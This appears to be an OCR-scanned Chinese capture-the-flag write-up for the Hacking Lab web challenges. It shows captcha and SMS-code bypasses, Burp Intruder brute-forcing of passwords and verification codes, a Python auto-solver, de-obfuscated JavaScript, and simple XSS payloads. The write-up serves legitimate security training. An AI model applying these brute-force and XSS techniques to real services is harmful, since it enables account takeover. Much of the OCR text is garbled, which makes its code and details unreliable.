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JBCHbhE: http://lab1.xseclab.com/xss1_30ac8668cd453e7e387c76b132b140bb/index.php
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X 0 @ F%2 | lablxseclab.com/xss1_30ac8668cd453e7e387c76b132b140bb/index.php

_EXBikkey
& C 0 @ #F%2 | lablxseclab.com/xss1 30ac8668cd453e7e387c76b132b140bb/no key is here forever.php
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Request Response
Headers | Hex Mwm [ Hex [Hmmc | Render |
GET /xss1_30ac8668cd453e7e387c76b132b140bb/search_key.php 4 HTTP/1.1200 OK
HTTP/1.1 Server: nginx
Host: lab1.xseclab.com Date: Thu, 24 Oct 2019 03:07:52 GMT
Upgrade-Insecure-Requests: 1 Content-Type: text/html
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Connection: close
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Via: 1008
Safari/537.36 Content-Length: 94
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/ap <script>window.location="./no_key_is_here_forever.php"; </script>
ng,*/*;q=0.8 key is : yougotit_script_now
Referer: |
http://lab1.xseclab.com/xss1_30ac8668cd453e7e387c76b132b140bb/inde
x.php
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
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# -*- coding: utf-8 -*-

#¥3%E: python2.7

Created on Wed Oct 23 22:51:54 2019
@author: /i

import re

import requests

s=requests.Session()
url="http://labl.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075bel/index.php"
r=s.get(url)

res=unicode(r.content, "utf-8").encode("gbk")

#tprint(res)

num = re.findall('([@-9].*?)=", res)[0]

print ('HERRBFTEOERRERLITELE RN :%s=%d" % (num, eval(num)))
r=s.post(url,data={"v':eval(num)})

print(re.findall(">(.*)<",r.content)[0])

BITHA, 153key: 123iohHKHJ%"&*(jkh
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4Created on Wed Oct 23 22:51:54 2019
5@author: /il

g mn

7 import re

8 import requests

9

10 s=requests.Session()
1lurl="http://labl.xseclab.com/xss2_0d557e6d2ad4ac08b749b61473a075bel/index.php"
12 r=s.get(url)

13 res=unicode(r.content, "utf-8").encode("gbk")

14
15num = re.findall( ' ([0-9].*%7)=", res)[0]
16 print (" Yardeles G e gk UL i 0l 1 %s=%d" % (num, eval(num)))

17 r=s.post(url,data={ v':eval(num)})
18print(re.findall(">(.*)<",r.content)[0])

IPython console
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In [2]: runfile('C:/Users/17250/untitled6.py’, wdir="C:/Users/17250")
T A T VR ik R Es 0y 1 1991%7635+888% (1991+7635)=23749173
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C 0 @ K%&2£ | view-sourcelabl.xseclab.com/xss3 5dcdde90bbe55087eb3514405972b1a6/index.php ¥ % 0 @
1| <html>
2 <head>
3 <meta http-equiv="content-type” content="text/ 5 tf-87>
4 <script>
5
6 function alert(a){
7 return false;
8 }
9 document.write=function(){
10 return false;
1 }
12 function prompt(a){
13 return false;
1 }
15 var a=function (){
16 var b=function(p,a,c,k,e,r\ ion(c){return(c<a?”:e(p (c/a)))+((c=c%a) ing.fromCharCode(c+29):c.toString(36))};if(!”.replace(/*/,String) {while(c--)rle(c)l=k[c]lle(c);
[function(efreturn rle]}];e=function(){return’\\w+"};c=1}while(c—-)if(k[c])p: RegExp(’\\b’+e(c)+'\\b’,'g’),k[c];return p}(’1s(1e(p,a,c.k.e,r)fe=1e(cH1d(c<a?\'\":e(1p(c/a))+((c=c%a

1f.1j(c+1k):c.1n(10)}1g(1\'\".1h(/~/, 1) 1i(c—-)rle(c)]=k[c]lle(c);k=] [1e(e)(1d ellle=1e({1d\"\\\\w+\"};c=1}1i(c--)1g(k[cDp=p.1h(11 Tm(\"\\\\b\"+e(c)+\"\\\\b\’,\’g\"),k[c]);1d pH\’Y(R(p,a,c.k,
{e=R(c){S(c<a?\\\'\\\":e(18(c/a)))+((c=c%a)>172T.16(c+15):c.12(13))5U(N\\\\\\.V(/A/, TI{W(c--)rle(c)]=k[c]lle(c);k=[R(e}S relle=RO{S\\\"\\\\\\\\w+\\\"}e=1}W(c--)U(k[c])p=p.V(Z
TTONWNNNBV+e(e)+ WA\ \\WG\\V) kEeD);S pHA\VG(B(p,a,c.k,e,r{e=B(cHA c.L(@EE(\\\\\\V\\\\\\V.C(/*/,F)XD(c--)re(c)I=k[c]lle(c)k=[B(eXA rel}l;e=B()
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)r,62,98, IMIIHHRRimiiceturnt ion|Stringlif] | harCode|29] ltoString|36| [35split| [75I53|varlslakfilteslkjsdfikifor’.split(’l),0,{);
7 var d=eval(b);
18 alert("key is first 14 chars”+d);
19 }
20 </script>
2 </head>
2 <body>
2 <a href="javascript:a();">_Rit ZEEARRMIB? HFHHER? __</a>
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var a

function () {
var b = function (p, a, c, k, e, r) {
function (c) {
return (c < a ? "' : e(parselnt(c / a))) + ((c = ¢ % a) > 35 ? String.fromCharCode(c + 29) : c.toStr
¥
if (!''.replace(/~/, String)) {
while (c--) r[e(c)] = k[c] || e(c);
ko =[
function (e) {
return rle]

(]
]

}

1
= function () {
return "\\w+'

¥
c=1
¥
while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g"), k[c]);
return p
}('1s(le(p,a,c,k,e,r){e=1e(c){1ld(cca?\"'\':e(1p(c/a)))+((c=c%a)>1g?1f.1j(c+1k):c.1n(10))};1g(!\"'\"'.1h(/*/,
})s

var d = eval(b);
alert('key is first 14 chars' + '\n'+d.substr(90,14));
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e
¥ Regbxp('\\b" + e(c) + "\\b', 'g"), k[c]);
return
F('1s(1e(p,a,c,k,e,r){e=1e(c){1d(c<a?\"\"1e(1p(c/a)) )+((c=c¥a)»1q?
1f.1j(c+1k):c.1n(10)) };1g(I\"\" . 1h(/~/,1F)){1i(c--)r[e(c)]=k[c]||e(c);k=[1e(e){1d r[e]}];e=1e()
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€.L(@) HECOAWWN WL L.C(/2/, F)){D(e--)r[e(c)]=k[c]] [e(c) s k=[B(e){A r[e]}];e=B()
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in|1o|1r|1k|1j]1g]1p|1w]1x|1y[1z\". 1r(\"[\"),0,{})) ", 62, 98,
SCUCEEEEEEE TR L PR PP EE e LR EE PP EEREEEEEE LT TR PR LEEEEIEEEEL T [return | function| String]
if|replace|while|fromcharcode |29 |new|Regexp|tostring|36|parseInt|3s|split|eval|62|75|53|var|slakfi]
teslkjsdflk|for’.split("|"), @, {
1
var d = eval(b);
alert('key is first 14 chars' + '\n'+d.substr(e,14));
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Request

@ Params | Headers | Hex

Response

Eﬁ Headers | Hex

POST /vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php
HTTP/1.1

Host: lab1.xseclab.com

Content-Length: 48

Cache-Control: max-age=0

Origin: http://lab1.xseclab.com

Upgrade-Insecure-Requests: 1

Content-Type: application/x—www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/69.0.3497.100 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp
Jimage/apng,*/*;q=0.8

Referer:
http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb
1c46/index.php

Accept-Language: zh—-CN,zh;q=0.9,en;q=0.8

Cookie: PHPSESSID=6b0951f44efd02867e869dfc6720a7d7
Connection: close

username=admin&pwd=2222&vcode=89rk&submit=submit

BT RAE R, B ABRATAT BAxt pwd 2 $is AT

E| Intruder attack 1

Attack Save Columns

"

pwd error

L] HTTP/1.1 200 OK
Server: nginx
Date: Thu, 24 Oct 2019 06:16:39 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no—cache, must-revalidate, post-check=0, pre-check=0
Pragma: no—cache
Via: 100142
Content-Length: 9

B, BEREE2Ipwd 1238, FElkey: LJLJIL789sdf#@sd

Target | Postions | Payloads | options |

| Fitter: Showing all tems

Request |m|m |stnus |Error |mm le vjc‘mmern
239 1238 200 @] O 322
0 200 o O 308
2 1001 200 o O 308
4 1003 200 (m] O 308
5 1004 200 (@] O 3.
5 1005 200 (@] O 308
7 1006 200 (@] O 308
8 1007 200 (@] O 308
12 1011 200 (@] O 308
13 1012 200 (@] O 38
15 1014 200 (@] O 38
19 1018 200 (@] O 38
Request | Response |

el [ ]

Content-Type: text/html; charset=utf-8
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT

Pragma: no—cache
Via: 100142
Content-Length: 22

key is LJLJL789sdf#@sd
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Cache—-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

iBxHbk: http:/lab1.xseclab.com/vcode2 abebbac0b47c8187b09deb20babc0e85/index.php
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Request

Params | Headers | Hex

Response

Headers

Hex

POST /vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php
HTTP/1.1

Host: lab1.xseclab.com

Content-Length: 48

Cache-Control: max-age=0

Origin: http://lab1.xseclab.com

Upgrade-Insecure-Requests: 1

Content-Type: application/x—www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/69.0.3497.100 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp
\image/apng,*/*;q=0.8

Referer:
http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb
1c46/index.php

Accept-Language: zh—-CN,zh;q=0.9,en;q=0.8

Cookie: PHPSESSID=6b0951f44efd02867e869dfc6720a7d7
Connection: close

T

username=admin&pwd=2222&vcode=89rk&submit=submit

"

! pwd error

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 24 Oct 2019 06:16:39 GMT

Content-Type: text/html; charset=utf-8

Connection: close

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no—cache, must-revalidate, post-check=0, pre-check=0
Pragma: no—cache

Via: 100142

Content-Length: 9

B, &REKRvcode error. A F1IIERD I IE— IR B3k T

Request

HPI.‘I Headers | Hex

Response

Headers | Hex

POST /vcode2_a6e6bacOb47c8187b09deb20babc0e85/login.php
HTTP/1.1

Host: lab1.xseclab.com

Content-Length: 48

Cache-Control: max—age=0

Origin: http://lab1.xseclab.com

Upgrade-Insecure-Requests: 1

Content=Type: application/x—www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100
Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/ap
ng,*/*;q=0.8

Referer:
http://lab1.xseclab.com/vcode2_a6ebbacOb47c8187b09deb20babc0e85/in
dex.php

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: PHPSESSID=6b0951f44efd02867e869dfc6720a7d7

Connection: close

username=admin&pwd=1238&vcode=2djs&submit=submit

T

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 24 Oct 2019 06:24:57 GMT
Content-Type: text/html; charset=utf-8
Connection: close

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no—cache, must-revalidate, post-check=0
pre—check=0

Pragma: no—cache

Via: 100167

Content-Length: 11

vcode error]

ZixMIBrvcodeS$E, EiK, REpwd error.

Cancel <|v >

Request

@Pm Headers | Hex

Target: http:/lab1.xseclab.cc

Response

Headers | Hex

POST /vcode2_abebbacOb47c8187b09deb20babc0e85/login.php
HTTP/1.1

Host: lab1.xseclab.com

Content-Length: 44

Cache-Control: max-age=0

Origin: http://lab1.xseclab.com
Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.34
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,iphage/webp,image/ap
ng,**;q=0.8
Referer:
http://lab1.xseclab.com/vcode2_a6e6bac0b47cgA87b09deb20babc0e85/in
dex.php

Accept-Language: zh-CN,zh;q=0.9,en;q=0,
Cookie: PHPSESSID=6b0951f44efd02867£869dfc6720a7d7
Connection: close

username=admin&pwd=1238&vcode=&submit=submit

mHl, REARZvcodeldfEH, MiASKiEvcodeMIEMSE. T2, MBRvcodelIfE, *FpwdZSHusiT @ .

T

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 24 Oct 2019 06:27:47 GMT

Content-Type: text/html; charset=utf-8

Connection: close

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no—cache, must-revalidate, post-check=0,
pre-check=0

Pragma: no-cache

Via: 100142

\uComent—Length: 9

pwd error

1BAE Bpwd= 1228, BFlkey: LJLJIL789ss33fasvxcvsdft@sd
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M Target IFouions IPayloads IOpﬁons ]

Fiter: Showing all tems

Request |P|ylud Status |En-or |Tirnaout ||.m¢h ¥ | Comment
229 (1228 200 | 33
2 1001 200 O [ 308
3 1002 200 o [ 308
4 1003 200 o () 308
g 1008 200 o O 308
8 1007 200 O (J 308
15 1014 200 O 0 308
17 1016 200 o (J 308
19 1018 200 O (J 308
22 1021 200 O 0 308
26 1025 200 o (J 308
27 1026 200 o (J 308

Date: Thu, 24 Oct 2019 06:28:48 GMT

Content-Type: text/html; charset=utf-8

Connection: close

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache—Control: no-store, no—-cache, must-revalidate, post—-check=0, pre-check=
Pragma: no—-cache

Via: 1008

Content-Length: 33

key is LJLJL789ss33fasvxcvsdf#@sd

7: EHHRIER S =% (SESSION)

B, WAFRYEAR LXHE . o WIFRSMERIXEE, RE BEANFED?

iBxHbk: http:/lab1.xseclab.com/vcode3 9d1ea7ad52ad93c04a837e0808b17097/index.php
Poc:

XEEERETX TEBRIEE RS, PR

XA ORR R — R, WA N B Rsession. FISEGRK) BEAM, B, 53pwd=1298, 53
key: LJLJLfuckvcodesdf#@sd


http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php

E intruder attack 3

Attack Save Columns

M Target TPnsitinns TPavInlds TOpﬁnnu ]

| Fiter: Showing all tems

Request |Pay|o.¢ |5t-tus |Error |nmeou| |Lm ijoment
299 1298 200 g [ 328
0 200 ] (J 308
2 1001 200 ] O 308
4 1003 200 a (J 308
5 1004 200 Q ] 308
8 1007 200 @] O 308
13 1012 200 @] O 308
15 1014 200 @] () 308
14 1013 200 Q ]
18 1017 200 @] [ 308
20 1019 200 @] 0 308
2 1021 200 @] [ 308

Date: Thu, 24 Oct 2019 06:33:17 GMT

Content-Type: text/html; charset=utf-8

Connection: close

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache—-Control: no—store, no—cache, must-revalidate, post—-check=0, pre—check=0
Pragma: no—cache

Via: 1008

Content-Length: 28

key is LJLJLfuckvcodesdf#@sd

8: MEX—THBEEXT

JEH, lE B )RR BESRAT B RIK. ..

JECHE: http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php
Poc:

XIE R

9: EHKFIRKIEN

PRI FHL S5 2 13388886666, ik« LU E KK X4 H

JEoCHbRE: http://lab1.xseclab.com/vcode5 mobi_5773f3def9f77f439e058894cefc42a8/
Poc:

RIE R B R X F LR UERD AL )32 48R R

Yyl @Rk, IR UE D 3 FHLRUERS £ 9038


http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php
http://lab1.xseclab.com/vcode5_mobi_5773f3def9f77f439e058894cefc42a8/

€ > C 0O @ 7%= | labl.xseclab.com/vcode5_mobi_5773f3def9f77f439e058894cefc42a8/#

fREYFHISH32: 13388886666 ,IFFEAFHIREIIER! |ab1 xseclab.com [Fhs

Phone: |13388886666 .
FHNLIFEE: 9038
Vcode:

S TEEVFEAISUFES | submit e

#N9038% 3%, 7~ please login as 13388886667

& C O @ A% | lablxseclab.com/vcode5 mobi 5773f3defof77f439e058894cefc42a8/login.php

please login as 13388886667

TR FH 5L A13388886667, EHTIRIMFHIMIEN, 45FRER

&« > C O O #A%% | lablxseclab.com/vcode5 mobi 5773f3def9f77f439e058894cefc42a8/#

fREFHSHEE: 13388886666 ,iFEAFHIREMIER] |3p1 xseclab.com S5

Phone: 13388886667
FHEIEBE: WIERRAEBIAFLLEY, (REAZL.
Vcode:
SEIREREAIGIEE | submit L

T £ 22 133888866663 BUUGIERY, A5 B T iiHi% 1 13388886667, 4R & MA1Ekey:
LILILGod! @@sd

& C 0 O F%=2 | lablxseclab.com/vcode5 mobi 5773f3def9f77f439e058894cefc42a8/login.php

key is LUJLJLGod!@@sd

10: EERBEKS A

TipsfRR—H&R%, RISERK" (B HE BT, RESRTATIHMN EEWTEREEER, —HKA
! HEETFHS5E:13388886666

EoeHbl: http://lab1.xseclab.com/vcode6 mobi b46772933eb4c8b5175c67dbc44d8901/
Poc:

X R B2 ) 2 X AL LG UE A PR R

Vi@ HbE, RS RIFE LI IERS, & E

&€ > C 00 O F%=2 | labl.xseclab.com/vcode6 mobi b46772933eb4c8b5175c67dbcd4d8901/#

BERFHRERIEEER lab1.xseclab.com &7

Tips:fRE—BRE, RIFEMIN" (B/&) AZ"MENI e e o i T
T4, 218 13388886666 igﬂﬁiﬁﬁz. IHIFSREITF LT, REARL.230 e, A
Phone: 13388886666

Vcode: HaE
S EIREVFALIGIEED | submit

RERIRR T X EIER KR, SRFE T THHESR


http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/

E Intruder attack 5 — 0

s

Attack Save Columns

M Target ]Pusﬂinns ngylosus IOptiuns ]

| Fitter: Showing all tems | |

Request |P|ylud 'Smu: 'Error 'Tinoou |ngth ¥ Comment
68 167 200 O O |so4
1 100 200 (@] g 323
3 102 200 o o 323
4 103 200 (@] (@] 323
5 104 200 o o 323
7 106 200 m] O 323
8 107 200 o g 323
10 109 200 o O 323
12 11 200 o 0 323
13 112 200 m] g 323
14 13 200 o 0 323
16 15 200 (m] g 323

|

M Headers | Hex

Content-Type: text/html; charset=utf-8

Connection: close

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache—-Control: no—store, no—cache, must-revalidate, post—-check=0, pre—check=0
Pragma: no—cache

Via: 100142

Content-Length: 203

R OAYR I/ I ETEIRIRAVBIS/ LR D1, ... . FRETFROEERERTIRIRM (5B/& ) BEaE, B2F
EBIRIRBIADE. . <br>AHEMFHNSER: 13399999999

gksEnt 13399999999 HHTIRIEADER;, BFiflagh: {LKKS*(!@@sd}



E  Intruder attack 6

Attack Save Columns

| Resuts | Target | Postions | Payloads | options |

Fiter: Showing all tems

Request ‘Paybod |5t-tus |Error |nmewt ||.mgth a.jcﬂmnt
126 225 200 O J 319
1 100 200 O [
2 101 200 O 3
20 119 200 O 32
2 121 200 O O 3
26 125 200 O O 3
45 144 200 a O 32
44 143 200 @] [ - 7
51 150 200 a O 32
55 154 200 o O 32
57 156 200 O O 32
65 164 200 O O 32

Date: Thu, 24 Oct 2019 07:05:23 GMT

Content-Type: text/html; charset=utf-8

Connection: close

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache—-Control: no—store, no—cache, must-revalidate, post—-check=0, pre—ch
Pragma: no—cache

Via: 1008

Content-Length: 21

flag is {LKK8*(!@@sd}

11: KRR

Tips: 3 UE DK 44 & 301 %

JESeHbE: http://lab1.xseclab.com/vcode?_f7947d56f22133dbc85dda4f28530268/index.php
Poc:

X R 2 R H 0o PR R 6 U D ) PR 0 X 5 1 3 A R ) R A8

U ) @ K Hu bk R A R EURAERD, ERIFAFIERIES R 2>, Hbpil&, i&EEHMEHEKIEY

€ > C O O F%=2 | lablxseclab.com/vcode7 f7947d56f22133dbc85dda4f28530268/index.php#

"8 aéﬁélﬁﬁﬂ%ﬁgjﬂ” lab1.xseclab.com B/~

Tips: & IFRZiIR%! . SV

FH1S: 13358860060 | IR RSN

FHIIFE: 100167 | W
SRENFAIGIEES

WRIERS: 4413 |

—


http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/index.php

Request Response

Params | Headers | Hex g Headers | Hex
POST /vcode7_f7947d56f22133dbc85dda4f28530268/mobi_vcode.php 2 HTTP/1.1 200 OK |
HTTP/1.1 Server: nginx
Host: lab1.xseclab.com Date: Thu, 24 Oct 2019 07:08:42 GMT
Content-Length: 26 Content-Type: text/htm|
Accept: */* Content-Length: 0
Origin: http://lab1.xseclab.com Connection: close
X-Requested-With: XMLHttpRequest Expires: Thu, 19 Nov 1981 08:52:00 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Cache-Control: no-store, no—cache, must-revalidate, post-check=0,
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 pre—check=0
Safari/537.36 Pragma: no—-cache
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 | Via: 100167
Referer: |
http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/in
dex.php
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=6b0951f44efd02867e869dfc6720a7d7
Connection: close
getcode=1&mobi=13388886666

FREANMEZRHFIKIED, WMAEHYERRIELER, HAbpilft, #rsuser_code or mobi_code error

P S————
Go Cancel <|v >v Target: http:/labl.xseclab.com [Z]
Request Response
@ Params | Headers | Hex @ Headers | Hex
POST /vcode7_f7947d56f22133dbc85dda4f28530268/Iogin.php HTTP/1.1 A HTTP/1.1200 OK
Host: lab1.xseclab.com Server: nginx
Content-Length: 65 Date: Thu, 24 Oct 2019 07:14:20 GMT
Cache-Control: max-age=0 Content-Type: text/html
Origin: http://lab1.xseclab.com Connection: close
Upgrade-Insecure-Requests: 1 Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content-Type: application/x—www-form-urlencoded Cache—-Control: no-store, no-cache, must-revalidate, post-check=0,
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 pre—check=0
(KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 Pragma: no-cache
Accept: Via: 1008
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,* | Content-Length: 28
9=
Referer: user_code or mobi_code error
http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/index.p
hp
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=! 6b0951f44efd02867e869dfc6720a7d7
Connection: close
username=13388886666&mobi_code=100167&user_code=9140&Login=submi
t
o — > Y > A
H, RAARIEMRY. BT, EFER, KIEDHE <R
Request Response
E Params | Headers | Hex ﬁ Headers | Hex
POST /vcode7_f7947d56f22133dbc85dda4f28530268/Iogin.php HTTP/1.1 4 HTTP/1.1200 OK
Host: lab1.xseclab.com Server: nginx
Content-Length: 65 Date: Thu, 24 Oct 2019 07:15:06 GMT
Cache-Control: max—age=0 Content-Type: text/htm|
Origin: http://lab1.xseclab.com Connection: close
Upgrade-Insecure-Requests: 1 Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content-Type: application/x-www-form-urlencoded Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 pre—check=0
(KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 Pragma: no-cache
Accept: Via: 100167
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,* | Content-Length: 45
/*,0=0.8 i
Referer: 1855 AT\ S AT eI MRSE PRI AT 12X 5
http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/index.p
hp

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=6b0951f44efd02867e869dfc6720a7d7
Connection: close

username=13388886666&mobi_code=100167&user_code=9140&Login=submi
t

€« - C 0O @ T2 | lablxseclab.com/vcode7 f7947d56f22133dbc85dda4f28530268/login.php

IIFESRRY, TEERIAENGLIIED!

Fir CADRZE At 7% 22 [7) e AR T L 36 IE A AN BB A 1R T SRR A 1

RIEFFLE.

12: XSSE:flx

XSSH:Fik: AR 2 5 Wt 7] AL %

iEocHibt: http:/lab1.xseclab.com/realxss1_f123c17dd9c363334670101779193998/index.php

Poc:


http://lab1.xseclab.com/realxss1_f123c17dd9c363334670101779193998/index.php

1X 2% 22 4] L I XSS payload

5 \<script>alert(1)</script>, #7R~#H HackingLab

Please use alert(Hackingl ab)!!
(] BELF I TG 5 2 3154

https://blog.csdn.net/gg_36119192

FRHi\ <script>alert(HackingLab)</script>, 75 %lkey: myxssteststart!

s
( e/:' = Q@ @ (@ lab1.xseclab.com/realxss

N
|

| wxEn BE

key is: myxssteststart!
Welcome

13: XSSHE:Ali2: fij 5858

TR Sy AT DA 5K

JBSCHbhE: http:/lab1.xseclab.com/realxss2_bcedaba7e8618cdfb51178765060fc7d/index.php
Poc:

XFREE K X T XSSH gt

XIEMIEIE T <script></script> #3455, BT ARATA LA HABAREE . FA <img src=1
onerror=alert(HackingLab)>

B 3key: xss2test2you

N
(&« = & ® @ lab1.xseclab.com/realxss2 bcedaba7e8618cdfb51178765060fc {

|<img src=1 onerror=alert(HackingLab)> || EREN || £ ‘

key is: xss2test2you
Welcome IE

14: XSSE#3: KW 5 Hi&

XSSEAL 3 AW 5 # ik
Tips: I & 1R

JBCHhE: http://lab1.xseclab.com/realxss3_9b28b0ffa93d0b0099f5ac7f8bad3f368/index.php
Poc:

SR B R T XSS 5 563


http://lab1.xseclab.com/realxss2_bcedaba7e8618cdfb51178765060fc7d/index.php
http://lab1.xseclab.com/realxss3_9b28b0ff93d0b0099f5ac7f8bad3f368/index.php

VikE b, A1, BEEE

(&) Qo @® lab1.xseclab.com/realxss3 9b28b0ffa3d0b0099f5ac7f8bad3f3¢ :

\ | mExmn | 5E |

Welcome

c o (@ view-source:http://lab1.xseclab.com/realxss3 9b28b0ff93d0b0099f5ac7"

<html>
<head></head>
<{body>
{form action="" method="POST">
<{input type="text” name="s” style="widthy
<input type="submit” »><{input type="r
{/form>
Welcome <input type= text’ value=11">
<div id="msg” style="color: green;”></div>
</body>
</html>
<{script type="text/javascript” src="../jquery—2.0.3. js">
{/seript>
{script type="text/javascript” src="../xssjs/xss_check. php”>
{/seript>

I— XSS FHigfEFalertid X —>

B LR ERE, RMESBRIMANBIRLIET <, SBRAIVMARTAE < FEMBEHEEMER T, 3
Bty 7T <script> . alert&i5%%.

15: Principle R & Z [f) XSS

JESE/JE /SR E R AR KxssE R & 75, A A
Take it easy!

HECHbhE: http:/lab1.xseclab.com/realxss4_9bc1559999a87a9e0968ad1d546dfe33/index.php

Poc:
X% 22 1) 2 X T XSSH geit

SE L &E: CTF writeup 1_ MR ZLLKE
P 4% 22 4 T B S 06 =08 SR AR - AR ¢
M2 (E B2 e LRRE---HAK


http://lab1.xseclab.com/realxss4_9bc1559999a87a9e0968ad1d546dfe33/index.php
https://blog.csdn.net/qq_30637197/article/details/52933130
https://blog.csdn.net/qq1124794084/article/details/78280186
https://www.jianshu.com/p/20475700f7cc
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